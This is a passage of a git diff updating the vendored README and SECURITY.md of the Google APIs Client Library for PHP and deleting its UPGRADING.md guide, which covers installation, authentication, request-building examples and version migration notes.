directly to the JSON requests and responses found in the [APIs Explorer](https://developers.google.com/apis-explorer/#p/). - -A JSON request to the [Datastore API](https://developers.google.com/apis-explorer/#p/datastore/v1beta3/datastore.projects.runQuery) would look like this: - -```json -POST https://datastore.googleapis.com/v1beta3/projects/YOUR_PROJECT_ID:runQuery?key=YOUR_API_KEY - -{ - "query": { - "kind": [{ - "name": "Book" - }], - "order": [{ - "property": { - "name": "title" - }, - "direction": "descending" - }], - "limit": 10 - } -} -``` - -Using this library, the same call would look something like this: - -```php -// create the datastore service class -$datastore = new Google\Service\Datastore($client); - -// build the query - this maps directly to the JSON -$query = new Google\Service\Datastore\Query([ - 'kind' => [ - [ - 'name' => 'Book', - ], - ], - 'order' => [ - 'property' => [ - 'name' => 'title', - ], - 'direction' => 'descending', - ], - 'limit' => 10, -]); - -// build the request and response -$request = new Google\Service\Datastore\RunQueryRequest(['query' => $query]); -$response = $datastore->projects->runQuery('YOUR_DATASET_ID', $request); -``` - -However, as each property of the JSON API has a corresponding generated class, the above code could also be written like this: - -```php -// create the datastore service class -$datastore = new Google\Service\Datastore($client); - -// build the query -$request = new Google\Service\Datastore_RunQueryRequest(); -$query = new Google\Service\Datastore\Query(); -// - set the order -$order = new Google\Service\Datastore_PropertyOrder(); -$order->setDirection('descending'); -$property = new Google\Service\Datastore\PropertyReference(); -$property->setName('title'); -$order->setProperty($property); -$query->setOrder([$order]); -// - set the kinds -$kind = new Google\Service\Datastore\KindExpression(); -$kind->setName('Book'); -$query->setKinds([$kind]); -// - set the limit -$query->setLimit(10); - -// add the query to the request and make the request -$request->setQuery($query); -$response = $datastore->projects->runQuery('YOUR_DATASET_ID', $request); -``` - -The method used is a matter of preference, but *it will be very difficult to use this library without first understanding the JSON syntax for the API*, so it is recommended to look at the [APIs Explorer](https://developers.google.com/apis-explorer/#p/) before using any of the services here. - -### Making HTTP Requests Directly ### - -If Google Authentication is desired for external applications, or a Google API is not available yet in this library, HTTP requests can be made directly. - -If you are installing this client only to authenticate your own HTTP client requests, you should use [`google/auth`](https://github.com/googleapis/google-auth-library-php#call-the-apis) instead. - -The `authorize` method returns an authorized [Guzzle Client](http://docs.guzzlephp.org/), so any request made using the client will contain the corresponding authorization. - -```php -// create the Google client -$client = new Google\Client(); - -/** - * Set your method for authentication. Depending on the API, This could be - * directly with an access token, API key, or (recommended) using - * Application Default Credentials. - */ -$client->useApplicationDefaultCredentials(); -$client->addScope(Google\Service\Plus::PLUS_ME); - -// returns a Guzzle HTTP Client -$httpClient = $client->authorize(); - -// make an HTTP request -$response = $httpClient->get('https://www.googleapis.com/plus/v1/people/me'); -``` - -### Caching ### - -It is recommended to use another caching library to improve performance. This can be done by passing a [PSR-6](https://www.php-fig.org/psr/psr-6/) compatible library to the client: - -```php -use League\Flysystem\Adapter\Local; -use League\Flysystem\Filesystem; -use Cache\Adapter\Filesystem\FilesystemCachePool; - -$filesystemAdapter = new Local(__DIR__.'/'); -$filesystem = new Filesystem($filesystemAdapter); - -$cache = new FilesystemCachePool($filesystem); -$client->setCache($cache); -``` - -In this example we use [PHP Cache](http://www.php-cache.com/). Add this to your project with composer: - -``` -composer require cache/filesystem-adapter -``` - -### Updating Tokens ### - -When using [Refresh Tokens](https://developers.google.com/identity/protocols/OAuth2InstalledApp#offline) or [Service Account Credentials](https://developers.google.com/identity/protocols/OAuth2ServiceAccount#overview), it may be useful to perform some action when a new access token is granted. To do this, pass a callable to the `setTokenCallback` method on the client: - -```php -$logger = new Monolog\Logger(); -$tokenCallback = function ($cacheKey, $accessToken) use ($logger) { - $logger->debug(sprintf('new access token received at cache key %s', $cacheKey)); -}; -$client->setTokenCallback($tokenCallback); -``` - -### Debugging Your HTTP Request using Charles ### - -It is often very useful to debug your API calls by viewing the raw HTTP request. This library supports the use of [Charles Web Proxy](https://www.charlesproxy.com/documentation/getting-started/). Download and run Charles, and then capture all HTTP traffic through Charles with the following code: - -```php -// FOR DEBUGGING ONLY -$httpClient = new GuzzleHttp\Client([ - 'proxy' => 'localhost:8888', // by default, Charles runs on localhost port 8888 - 'verify' => false, // otherwise HTTPS requests will fail. -]); - -$client = new Google\Client(); -$client->setHttpClient($httpClient); -``` - -Now all calls made by this library will appear in the Charles UI. - -One additional step is required in Charles to view SSL requests. Go to **Charles > Proxy > SSL Proxying Settings** and add the domain you'd like captured. In the case of the Google APIs, this is usually `*.googleapis.com`. - -### Controlling HTTP Client Configuration Directly - -Google API Client uses [Guzzle](http://docs.guzzlephp.org/) as its default HTTP client. That means that you can control your HTTP requests in the same manner you would for any application using Guzzle. - -Let's say, for instance, we wished to apply a referrer to each request. - -```php -use GuzzleHttp\Client; - -$httpClient = new Client([ - 'headers' => [ - 'referer' => 'mysite.com' - ] -]); - -$client = new Google\Client(); -$client->setHttpClient($httpClient); -``` - -Other Guzzle features such as [Handlers and Middleware](http://docs.guzzlephp.org/en/stable/handlers-and-middleware.html) offer even more control. - -### Service Specific Examples ### - -YouTube: https://github.com/youtube/api-samples/tree/master/php - -## How Do I Contribute? ## - -Please see the [contributing](.github/CONTRIBUTING.md) page for more information. In particular, we love pull requests - but please make sure to sign the contributor license agreement. - -## Frequently Asked Questions ## - -### What do I do if something isn't working? ### - -For support with the library the best place to ask is via the google-api-php-client tag on StackOverflow: https://stackoverflow.com/questions/tagged/google-api-php-client - -If there is a specific bug with the library, please [file an issue](https://github.com/googleapis/google-api-php-client/issues) in the GitHub issues tracker, including an example of the failing code and any specific errors retrieved. Feature requests can also be filed, as long as they are core library requests, and not-API specific: for those, refer to the documentation for the individual APIs for the best place to file requests. Please try to provide a clear statement of the problem that the feature would address. - -### I want an example of X! ### - -If X is a feature of the library, file away! If X is an example of using a specific service, the best place to go is to the teams for those specific APIs - our preference is to link to their examples rather than add them to the library, as they can then pin to specific versions of the library. If you have any examples for other APIs, let us know and we will happily add a link to the README above! - -### Why do some Google\Service classes have weird names? ### - -The _Google\Service_ classes are generally automatically generated from the API discovery documents: https://developers.google.com/discovery/. Sometimes new features are added to APIs with unusual names, which can cause some unexpected or non-standard style naming in the PHP classes. - -### How do I deal with non-JSON response types? ### - -Some services return XML or similar by default, rather than JSON, which is what the library supports. You can request a JSON response by adding an 'alt' argument to optional params that is normally the last argument to a method call: - -``` -$opt_params = array( - 'alt' => "json" -); -``` - -### How do I set a field to null? ### - -The library strips out nulls from the objects sent to the Google APIs as its the default value of all of the uninitialized properties. To work around this, set the field you want to null to `Google\Model::NULL_VALUE`. This is a placeholder that will be replaced with a true null when sent over the wire. - -## Code Quality ## - -Run the PHPUnit tests with PHPUnit. You can configure an API key and token in BaseTest.php to run all calls, but this will require some setup on the Google Developer Console. - - phpunit tests/ - -### Coding Style - -To check for coding style violations, run - -``` -vendor/bin/phpcs src --standard=style/ruleset.xml -np -``` - -To automatically fix (fixable) coding style violations, run - -``` -vendor/bin/phpcbf src --standard=style/ruleset.xml -``` +![](https://github.com/googleapis/google-api-php-client/workflows/.github/workflows/tests.yml/badge.svg) + +# Google APIs Client Library for PHP # + +
                                +
                                Reference Docs
                                https://googleapis.github.io/google-api-php-client/master/
                                +
                                License
                                Apache 2.0
                                +
                                + +The Google API Client Library enables you to work with Google APIs such as Gmail, Drive or YouTube on your server. + +These client libraries are officially supported by Google. However, the libraries are considered complete and are in maintenance mode. This means that we will address critical bugs and security issues but will not add any new features. + +## Google Cloud Platform + +For Google Cloud Platform APIs such as [Datastore][cloud-datastore], [Cloud Storage][cloud-storage], [Pub/Sub][cloud-pubsub], and [Compute Engine][cloud-compute], we recommend using the Google Cloud client libraries. For a complete list of supported Google Cloud client libraries, see [googleapis/google-cloud-php](https://github.com/googleapis/google-cloud-php). + +[cloud-datastore]: https://github.com/googleapis/google-cloud-php-datastore +[cloud-pubsub]: https://github.com/googleapis/google-cloud-php-pubsub +[cloud-storage]: https://github.com/googleapis/google-cloud-php-storage +[cloud-compute]: https://github.com/googleapis/google-cloud-php-compute + +## Requirements ## +* [PHP 5.6.0 or higher](https://www.php.net/) + +## Developer Documentation ## + +The [docs folder](docs/) provides detailed guides for using this library. + +## Installation ## + +You can use **Composer** or simply **Download the Release** + +### Composer + +The preferred method is via [composer](https://getcomposer.org/). Follow the +[installation instructions](https://getcomposer.org/doc/00-intro.md) if you do not already have +composer installed. + +Once composer is installed, execute the following command in your project root to install this library: + +```sh +composer require google/apiclient:^2.11 +``` + +Finally, be sure to include the autoloader: + +```php +require_once '/path/to/your-project/vendor/autoload.php'; +``` + +This library relies on `google/apiclient-services`. That library provides up-to-date API wrappers for a large number of Google APIs. In order that users may make use of the latest API clients, this library does not pin to a specific version of `google/apiclient-services`. **In order to prevent the accidental installation of API wrappers with breaking changes**, it is highly recommended that you pin to the [latest version](https://github.com/googleapis/google-api-php-client-services/releases) yourself prior to using this library in production. + +#### Cleaning up unused services + +There are over 200 Google API services. The chances are good that you will not +want them all. In order to avoid shipping these dependencies with your code, +you can run the `Google\Task\Composer::cleanup` task and specify the services +you want to keep in `composer.json`: + +```json +{ + "require": { + "google/apiclient": "^2.11" + }, + "scripts": { + "pre-autoload-dump": "Google\\Task\\Composer::cleanup" + }, + "extra": { + "google/apiclient-services": [ + "Drive", + "YouTube" + ] + } +} +``` + +This example will remove all services other than "Drive" and "YouTube" when +`composer update` or a fresh `composer install` is run. + +**IMPORTANT**: If you add any services back in `composer.json`, you will need to +remove the `vendor/google/apiclient-services` directory explicity for the +change you made to have effect: + +```sh +rm -r vendor/google/apiclient-services +composer update +``` + +**NOTE**: This command performs an exact match on the service name, so to keep +`YouTubeReporting` and `YouTubeAnalytics` as well, you'd need to add each of +them explicitly: + +```json +{ + "extra": { + "google/apiclient-services": [ + "Drive", + "YouTube", + "YouTubeAnalytics", + "YouTubeReporting" + ] + } +} +``` + +### Download the Release + +If you prefer not to use composer, you can download the package in its entirety. The [Releases](https://github.com/googleapis/google-api-php-client/releases) page lists all stable versions. Download any file +with the name `google-api-php-client-[RELEASE_NAME].zip` for a package including this library and its dependencies. + +Uncompress the zip file you download, and include the autoloader in your project: + +```php +require_once '/path/to/google-api-php-client/vendor/autoload.php'; +``` + +For additional installation and setup instructions, see [the documentation](docs/). + +## Examples ## +See the [`examples/`](examples) directory for examples of the key client features. You can +view them in your browser by running the php built-in web server. + +``` +$ php -S localhost:8000 -t examples/ +``` + +And then browsing to the host and port you specified +(in the above example, `http://localhost:8000`). + +### Basic Example ### + +```php +// include your composer dependencies +require_once 'vendor/autoload.php'; + +$client = new Google\Client(); +$client->setApplicationName("Client_Library_Examples"); +$client->setDeveloperKey("YOUR_APP_KEY"); + +$service = new Google\Service\Books($client); +$query = 'Henry David Thoreau'; +$optParams = [ + 'filter' => 'free-ebooks', +]; +$results = $service->volumes->listVolumes($query, $optParams); + +foreach ($results->getItems() as $item) { + echo $item['volumeInfo']['title'], "
                                \n"; +} +``` + +### Authentication with OAuth ### + +> An example of this can be seen in [`examples/simple-file-upload.php`](examples/simple-file-upload.php). + +1. Follow the instructions to [Create Web Application Credentials](docs/oauth-web.md#create-authorization-credentials) +1. Download the JSON credentials +1. Set the path to these credentials using `Google\Client::setAuthConfig`: + + ```php + $client = new Google\Client(); + $client->setAuthConfig('/path/to/client_credentials.json'); + ``` + +1. Set the scopes required for the API you are going to call + + ```php + $client->addScope(Google\Service\Drive::DRIVE); + ``` + +1. Set your application's redirect URI + + ```php + // Your redirect URI can be any registered URI, but in this example + // we redirect back to this same page + $redirect_uri = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; + $client->setRedirectUri($redirect_uri); + ``` + +1. In the script handling the redirect URI, exchange the authorization code for an access token: + + ```php + if (isset($_GET['code'])) { + $token = $client->fetchAccessTokenWithAuthCode($_GET['code']); + } + ``` + +### Authentication with Service Accounts ### + +> An example of this can be seen in [`examples/service-account.php`](examples/service-account.php). + +Some APIs +(such as the [YouTube Data API](https://developers.google.com/youtube/v3/)) do +not support service accounts. Check with the specific API documentation if API +calls return unexpected 401 or 403 errors. + +1. Follow the instructions to [Create a Service Account](docs/oauth-server.md#creating-a-service-account) +1. Download the JSON credentials +1. Set the path to these credentials using the `GOOGLE_APPLICATION_CREDENTIALS` environment variable: + + ```php + putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/service-account.json'); + ``` + +1. Tell the Google client to use your service account credentials to authenticate: + + ```php + $client = new Google\Client(); + $client->useApplicationDefaultCredentials(); + ``` + +1. Set the scopes required for the API you are going to call + + ```php + $client->addScope(Google\Service\Drive::DRIVE); + ``` + +1. If you have delegated domain-wide access to the service account and you want to impersonate a user account, specify the email address of the user account using the method setSubject: + + ```php + $client->setSubject($user_to_impersonate); + ``` + +#### How to use a specific JSON key + +If you want to a specific JSON key instead of using `GOOGLE_APPLICATION_CREDENTIALS` environment variable, you can do this: + +```php +$jsonKey = [ + 'type' => 'service_account', + // ... +]; +$client = new Google\Client(); +$client->setAuthConfig($jsonKey); +``` + +### Making Requests ### + +The classes used to call the API in [google-api-php-client-services](https://github.com/googleapis/google-api-php-client-services) are autogenerated. They map directly to the JSON requests and responses found in the [APIs Explorer](https://developers.google.com/apis-explorer/#p/). + +A JSON request to the [Datastore API](https://developers.google.com/apis-explorer/#p/datastore/v1beta3/datastore.projects.runQuery) would look like this: + +```json +POST https://datastore.googleapis.com/v1beta3/projects/YOUR_PROJECT_ID:runQuery?key=YOUR_API_KEY + +{ + "query": { + "kind": [{ + "name": "Book" + }], + "order": [{ + "property": { + "name": "title" + }, + "direction": "descending" + }], + "limit": 10 + } +} +``` + +Using this library, the same call would look something like this: + +```php +// create the datastore service class +$datastore = new Google\Service\Datastore($client); + +// build the query - this maps directly to the JSON +$query = new Google\Service\Datastore\Query([ + 'kind' => [ + [ + 'name' => 'Book', + ], + ], + 'order' => [ + 'property' => [ + 'name' => 'title', + ], + 'direction' => 'descending', + ], + 'limit' => 10, +]); + +// build the request and response +$request = new Google\Service\Datastore\RunQueryRequest(['query' => $query]); +$response = $datastore->projects->runQuery('YOUR_DATASET_ID', $request); +``` + +However, as each property of the JSON API has a corresponding generated class, the above code could also be written like this: + +```php +// create the datastore service class +$datastore = new Google\Service\Datastore($client); + +// build the query +$request = new Google\Service\Datastore_RunQueryRequest(); +$query = new Google\Service\Datastore\Query(); +// - set the order +$order = new Google\Service\Datastore_PropertyOrder(); +$order->setDirection('descending'); +$property = new Google\Service\Datastore\PropertyReference(); +$property->setName('title'); +$order->setProperty($property); +$query->setOrder([$order]); +// - set the kinds +$kind = new Google\Service\Datastore\KindExpression(); +$kind->setName('Book'); +$query->setKinds([$kind]); +// - set the limit +$query->setLimit(10); + +// add the query to the request and make the request +$request->setQuery($query); +$response = $datastore->projects->runQuery('YOUR_DATASET_ID', $request); +``` + +The method used is a matter of preference, but *it will be very difficult to use this library without first understanding the JSON syntax for the API*, so it is recommended to look at the [APIs Explorer](https://developers.google.com/apis-explorer/#p/) before using any of the services here. + +### Making HTTP Requests Directly ### + +If Google Authentication is desired for external applications, or a Google API is not available yet in this library, HTTP requests can be made directly. + +If you are installing this client only to authenticate your own HTTP client requests, you should use [`google/auth`](https://github.com/googleapis/google-auth-library-php#call-the-apis) instead. + +The `authorize` method returns an authorized [Guzzle Client](http://docs.guzzlephp.org/), so any request made using the client will contain the corresponding authorization. + +```php +// create the Google client +$client = new Google\Client(); + +/** + * Set your method for authentication. Depending on the API, This could be + * directly with an access token, API key, or (recommended) using + * Application Default Credentials. + */ +$client->useApplicationDefaultCredentials(); +$client->addScope(Google\Service\Plus::PLUS_ME); + +// returns a Guzzle HTTP Client +$httpClient = $client->authorize(); + +// make an HTTP request +$response = $httpClient->get('https://www.googleapis.com/plus/v1/people/me'); +``` + +### Caching ### + +It is recommended to use another caching library to improve performance. This can be done by passing a [PSR-6](https://www.php-fig.org/psr/psr-6/) compatible library to the client: + +```php +use League\Flysystem\Adapter\Local; +use League\Flysystem\Filesystem; +use Cache\Adapter\Filesystem\FilesystemCachePool; + +$filesystemAdapter = new Local(__DIR__.'/'); +$filesystem = new Filesystem($filesystemAdapter); + +$cache = new FilesystemCachePool($filesystem); +$client->setCache($cache); +``` + +In this example we use [PHP Cache](http://www.php-cache.com/). Add this to your project with composer: + +``` +composer require cache/filesystem-adapter +``` + +### Updating Tokens ### + +When using [Refresh Tokens](https://developers.google.com/identity/protocols/OAuth2InstalledApp#offline) or [Service Account Credentials](https://developers.google.com/identity/protocols/OAuth2ServiceAccount#overview), it may be useful to perform some action when a new access token is granted. To do this, pass a callable to the `setTokenCallback` method on the client: + +```php +$logger = new Monolog\Logger(); +$tokenCallback = function ($cacheKey, $accessToken) use ($logger) { + $logger->debug(sprintf('new access token received at cache key %s', $cacheKey)); +}; +$client->setTokenCallback($tokenCallback); +``` + +### Debugging Your HTTP Request using Charles ### + +It is often very useful to debug your API calls by viewing the raw HTTP request. This library supports the use of [Charles Web Proxy](https://www.charlesproxy.com/documentation/getting-started/). Download and run Charles, and then capture all HTTP traffic through Charles with the following code: + +```php +// FOR DEBUGGING ONLY +$httpClient = new GuzzleHttp\Client([ + 'proxy' => 'localhost:8888', // by default, Charles runs on localhost port 8888 + 'verify' => false, // otherwise HTTPS requests will fail. +]); + +$client = new Google\Client(); +$client->setHttpClient($httpClient); +``` + +Now all calls made by this library will appear in the Charles UI. + +One additional step is required in Charles to view SSL requests. Go to **Charles > Proxy > SSL Proxying Settings** and add the domain you'd like captured. In the case of the Google APIs, this is usually `*.googleapis.com`. + +### Controlling HTTP Client Configuration Directly + +Google API Client uses [Guzzle](http://docs.guzzlephp.org/) as its default HTTP client. That means that you can control your HTTP requests in the same manner you would for any application using Guzzle. + +Let's say, for instance, we wished to apply a referrer to each request. + +```php +use GuzzleHttp\Client; + +$httpClient = new Client([ + 'headers' => [ + 'referer' => 'mysite.com' + ] +]); + +$client = new Google\Client(); +$client->setHttpClient($httpClient); +``` + +Other Guzzle features such as [Handlers and Middleware](http://docs.guzzlephp.org/en/stable/handlers-and-middleware.html) offer even more control. + +### Service Specific Examples ### + +YouTube: https://github.com/youtube/api-samples/tree/master/php + +## How Do I Contribute? ## + +Please see the [contributing](.github/CONTRIBUTING.md) page for more information. In particular, we love pull requests - but please make sure to sign the contributor license agreement. + +## Frequently Asked Questions ## + +### What do I do if something isn't working? ### + +For support with the library the best place to ask is via the google-api-php-client tag on StackOverflow: https://stackoverflow.com/questions/tagged/google-api-php-client + +If there is a specific bug with the library, please [file an issue](https://github.com/googleapis/google-api-php-client/issues) in the GitHub issues tracker, including an example of the failing code and any specific errors retrieved. Feature requests can also be filed, as long as they are core library requests, and not-API specific: for those, refer to the documentation for the individual APIs for the best place to file requests. Please try to provide a clear statement of the problem that the feature would address. + +### I want an example of X! ### + +If X is a feature of the library, file away! If X is an example of using a specific service, the best place to go is to the teams for those specific APIs - our preference is to link to their examples rather than add them to the library, as they can then pin to specific versions of the library. If you have any examples for other APIs, let us know and we will happily add a link to the README above! + +### Why do some Google\Service classes have weird names? ### + +The _Google\Service_ classes are generally automatically generated from the API discovery documents: https://developers.google.com/discovery/. Sometimes new features are added to APIs with unusual names, which can cause some unexpected or non-standard style naming in the PHP classes. + +### How do I deal with non-JSON response types? ### + +Some services return XML or similar by default, rather than JSON, which is what the library supports. You can request a JSON response by adding an 'alt' argument to optional params that is normally the last argument to a method call: + +``` +$opt_params = array( + 'alt' => "json" +); +``` + +### How do I set a field to null? ### + +The library strips out nulls from the objects sent to the Google APIs as its the default value of all of the uninitialized properties. To work around this, set the field you want to null to `Google\Model::NULL_VALUE`. This is a placeholder that will be replaced with a true null when sent over the wire. + +## Code Quality ## + +Run the PHPUnit tests with PHPUnit. You can configure an API key and token in BaseTest.php to run all calls, but this will require some setup on the Google Developer Console. + + phpunit tests/ + +### Coding Style + +To check for coding style violations, run + +``` +vendor/bin/phpcs src --standard=style/ruleset.xml -np +``` + +To automatically fix (fixable) coding style violations, run + +``` +vendor/bin/phpcbf src --standard=style/ruleset.xml +``` diff --git a/vendor/google/apiclient/SECURITY.md b/vendor/google/apiclient/SECURITY.md index 02f8a8b9f1..8b58ae9c01 100644 --- a/vendor/google/apiclient/SECURITY.md +++ b/vendor/google/apiclient/SECURITY.md @@ -1,7 +1,7 @@ -# Security Policy - -To report a security issue, please use [g.co/vulnz](https://g.co/vulnz). - -The Google Security Team will respond within 5 working days of your report on g.co/vulnz. - -We use g.co/vulnz for our intake, and do coordination and disclosure here using GitHub Security Advisory to privately discuss and fix the issue. +# Security Policy + +To report a security issue, please use [g.co/vulnz](https://g.co/vulnz). + +The Google Security Team will respond within 5 working days of your report on g.co/vulnz. + +We use g.co/vulnz for our intake, and do coordination and disclosure here using GitHub Security Advisory to privately discuss and fix the issue. diff --git a/vendor/google/apiclient/UPGRADING.md b/vendor/google/apiclient/UPGRADING.md deleted file mode 100644 index 295027553b..0000000000 --- a/vendor/google/apiclient/UPGRADING.md +++ /dev/null @@ -1,377 +0,0 @@ -Google API Client Upgrade Guide -=============================== - -2.x to 2.10.0 -------------- - -### Namespaces - -The Google API Client for PHP now uses namespaces for all classes. Code using -the legacy classnames will continue to work, but it is advised to upgrade to the -underspaced names, as the legacy classnames will be deprecated some time in the -future. - -**Before** - -```php -$client = new Google_Client(); -$service = new Google_Service_Books($client); -``` - -**After** -```php -$client = new Google\Client(); -$service = new Google\Service\Books($client); -``` - -### Service class constructors - -Service class constructors now accept an optional `Google\Client|array` parameter -as their first argument, rather than requiring an instance of `Google\Client`. - -**Before** - -```php -$client = new Google_Client(); -$client->setApplicationName("Client_Library_Examples"); -$client->setDeveloperKey("YOUR_APP_KEY"); - -$service = new Google_Service_Books($client); -``` - -**After** - -```php -$service = new Google\Service\Books([ - 'application_name' => "Client_Library_Examples", - 'developer_key' => "YOUR_APP_KEY", -]); -``` - -1.0 to 2.0 ----------- - -The Google API Client for PHP has undergone major internal changes in `2.0`. Please read through -the list below in order to upgrade to the latest version: - -## Installation now uses `Composer` - -**Before** - -The project was cloned in your project and you would run the autoloader from wherever: - -```php -// the autoload file was included -require_once 'google-api-php-client/src/Google/autoload.php'; // or wherever autoload.php is located -// OR classes were added one-by-one -require_once 'Google/Client.php'; -require_once 'Google/Service/YouTube.php'; -``` - -**After** - -This library now uses [composer](https://getcomposer.org) (We suggest installing -composer [globally](http://symfony.com/doc/current/cookbook/composer.html)). Add this library by -running the following in the root of your project: - -``` -$ composer require google/apiclient:~2.0 -``` - -This will install this library and generate an autoload file in `vendor/autoload.php` in the root -of your project. You can now include this library with the following code: - -```php -require_once 'vendor/autoload.php'; -``` - -## Access Tokens are passed around as arrays instead of JSON strings - -**Before** - -```php -$accessToken = $client->getAccessToken(); -print_r($accessToken); -// would output: -// string(153) "{"access_token":"ya29.FAKsaByOPoddfzvKRo_LBpWWCpVTiAm4BjsvBwxtN7IgSNoUfcErBk_VPl4iAiE1ntb_","token_type":"Bearer","expires_in":3593,"created":1445548590}" -file_put_contents($credentialsPath, $accessToken); -``` - -**After** - -```php -$accessToken = $client->getAccessToken(); -print_r($accessToken); -// will output: -// array(4) { -// ["access_token"]=> -// string(73) "ya29.FAKsaByOPoddfzvKRo_LBpWWCpVTiAm4BjsvBwxtN7IgSNoUfcErBk_VPl4iAiE1ntb_" -// ["token_type"]=> -// string(6) "Bearer" -// ["expires_in"]=> -// int(3593) -// ["created"]=> -// int(1445548590) -// } -file_put_contents($credentialsPath, json_encode($accessToken)); -``` - -## ID Token data is returned as an array - -**Before** - -```php -$ticket = $client->verifyIdToken($idToken); -$data = $ticket->getAttributes(); -$userId = $data['payload']['sub']; -``` - -**After** - -```php -$userData = $client->verifyIdToken($idToken); -$userId = $userData['sub']; -``` - -## `Google_Auth_AssertionCredentials` has been removed - -For service accounts, we now use `setAuthConfig` or `useApplicationDefaultCredentials` - -**Before** - -```php -$client_email = '1234567890-a1b2c3d4e5f6g7h8i@developer.gserviceaccount.com'; -$private_key = file_get_contents('MyProject.p12'); -$scopes = array('https://www.googleapis.com/auth/sqlservice.admin'); -$credentials = new Google_Auth_AssertionCredentials( - $client_email, - $scopes, - $private_key -); -``` - -**After** - -```php -$client->setAuthConfig('/path/to/service-account.json'); - -// OR use environment variables (recommended) - -putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/service-account.json'); -$client->useApplicationDefaultCredentials(); -``` - -> Note: P12s are deprecated in favor of service account JSON, which can be generated in the -> Credentials section of Google Developer Console. - -In order to impersonate a user, call `setSubject` when your service account -credentials are being used. - -**Before** - -```php -$user_to_impersonate = 'user@example.org'; -$credentials = new Google_Auth_AssertionCredentials( - $client_email, - $scopes, - $private_key, - 'notasecret', // Default P12 password - 'http://oauth.net/grant_type/jwt/1.0/bearer', // Default grant type - $user_to_impersonate, -); -``` - -**After** - -```php -$user_to_impersonate = 'user@example.org'; -$client->setSubject($user_to_impersonate); -``` - -Additionally, `Google_Client::loadServiceAccountJson` has been removed in favor -of `Google_Client::setAuthConfig`: - -**Before** - -```php -$scopes = [ Google_Service_Books::BOOKS ]; -$client->loadServiceAccountJson('/path/to/service-account.json', $scopes); -``` - -**After** - -```php -$scopes = [ Google_Service_Books::BOOKS ]; -$client->setAuthConfig('/path/to/service-account.json'); -$client->setScopes($scopes); -``` - -## `Google_Auth_AppIdentity` has been removed - -For App Engine authentication, we now use the underlying [`google/auth`][Google Auth] and -call `useApplicationDefaultCredentials`: - -**Before** - -```php -$client->setAuth(new Google_Auth_AppIdentity($client)); -$client->getAuth() - ->authenticateForScope('https://www.googleapis.com/auth/sqlservice.admin') -``` - -**After** - -```php -$client->useApplicationDefaultCredentials(); -$client->addScope('https://www.googleapis.com/auth/sqlservice.admin'); -``` - -This will detect when the App Engine environment is present, and use the appropriate credentials. - -## `Google_Auth_Abstract` classes have been removed - -[`google/auth`][Google Auth] is now used for authentication. As a result, all -`Google_Auth`-related functionality has been removed. The methods that were a part of -`Google_Auth_Abstract` have been moved into the `Google_Client` object. - -**Before** - -```php -$request = new Google_Http_Request(); -$client->getAuth()->sign($request); -``` - -**After** - -```php -// create an authorized HTTP client -$httpClient = $client->authorize(); - -// OR add authorization to an existing client -$httpClient = new GuzzleHttp\Client(); -$httpClient = $client->authorize($httpClient); -``` - -**Before** - -```php -$request = new Google_Http_Request(); -$response = $client->getAuth()->authenticatedRequest($request); -``` - -**After** - -```php -$httpClient = $client->authorize(); -$request = new GuzzleHttp\Psr7\Request('POST', $url); -$response = $httpClient->send($request); -``` - -> NOTE: `$request` can be any class implementing -> `Psr\Http\Message\RequestInterface` - -In addition, other methods that were callable on `Google_Auth_OAuth2` are now called -on the `Google_Client` object: - -**Before** - -```php -$client->getAuth()->refreshToken($token); -$client->getAuth()->refreshTokenWithAssertion(); -$client->getAuth()->revokeToken($token); -$client->getAuth()->isAccessTokenExpired(); -``` - -**After** - -```php -$client->refreshToken($token); -$client->refreshTokenWithAssertion(); -$client->revokeToken($token); -$client->isAccessTokenExpired(); -``` - -## PHP 5.6 is now the minimum supported PHP version - -This was previously `PHP 5.2`. If you still need to use PHP 5.2, please continue to use -the [v1-master](https://github.com/google/google-api-php-client/tree/v1-master) branch. - -## Guzzle and PSR-7 are used for HTTP Requests - -The HTTP library Guzzle is used for all HTTP Requests. By default, [`Guzzle 6`][Guzzle 6] -is used, but this library is also compatible with [`Guzzle 5`][Guzzle 5]. As a result, -all `Google_IO`-related functionality and `Google_Http`-related functionality has been -changed or removed. - -1. Removed `Google_Http_Request` -1. Removed `Google_IO_Abstract`, `Google_IO_Exception`, `Google_IO_Curl`, and `Google_IO_Stream` -1. Removed methods `Google_Client::getIo` and `Google_Client::setIo` -1. Refactored `Google_Http_Batch` and `Google_Http_MediaFileUpload` for Guzzle -1. Added `Google_Client::getHttpClient` and `Google_Client::setHttpClient` for getting and -setting the Guzzle `GuzzleHttp\ClientInterface` object. - -> NOTE: `PSR-7`-compatible libraries can now be used with this library. - -## Other Changes - - - [`PSR 3`][PSR 3] `LoggerInterface` is now supported, and [Monolog][Monolog] is used for all - logging. As a result, all `Google_Logger`-related functionality has been removed: - 1. Removed `Google_Logger_Abstract`, `Google_Logger_Exception`, `Google_Logger_File`, - `Google_Logger_Null`, and `Google_Logger_Psr` - 1. `Google_Client::setLogger` now requires `Psr\Log\LoggerInterface` - - [`firebase/jwt`][Firebase JWT] is now used for all JWT signing and verifying. As a result, the - following classes have been changed or removed: - 1. Removed `Google_Signer_P12` - 1. Removed `Google_Verifier_Pem` - 1. Removed `Google_Auth_LoginTicket` (see below) - - The following classes and methods have been removed in favor of [`google/auth`][Google Auth]: - 1. Removed methods `Google_Client::getAuth` and `Google_Client::setAuth` - 1. Removed `Google_Auth_Abstract` - - `Google_Auth_Abstract::sign` and `Google_Auth_Abstract::authenticatedRequest` have been - replaced by `Google_Client::authorize`. See the above examples for more details. - 1. Removed `Google_Auth_AppIdentity`. This is now supported in [`google/auth`][Google Auth AppIdentity] - and is used automatically when `Google_Client::useApplicationDefaultCredentials` is called. - 1. Removed `Google_Auth_AssertionCredentials`. Use `Google_Client::setAuthConfig` instead. - 1. Removed `Google_Auth_ComputeEngine`. This is now supported in - [`google/auth`][Google Auth GCE], and is used automatically when - `Google_Client::useApplicationDefaultCredentials` is called. - 1. Removed `Google_Auth_Exception` - 1. Removed `Google_Auth_LoginTicket`. Calls to `Google_Client::verifyIdToken` now returns - the payload of the ID Token as an array if the verification is successful. - 1. Removed `Google_Auth_OAuth2`. This functionality is now supported in [`google/auth`][Google Auth OAuth2] and wrapped in `Google_Client`. These changes will only affect applications calling `Google_Client::getAuth`, - as the methods on `Google_Client` have not changed. - 1. Removed `Google_Auth_Simple`. This is now supported in [`google/auth`][Google Auth Simple] - and is used automatically when `Google_Client::setDeveloperKey` is called. - - `Google_Client::sign` has been replaced by `Google_Client::authorize`. This function - now takes a 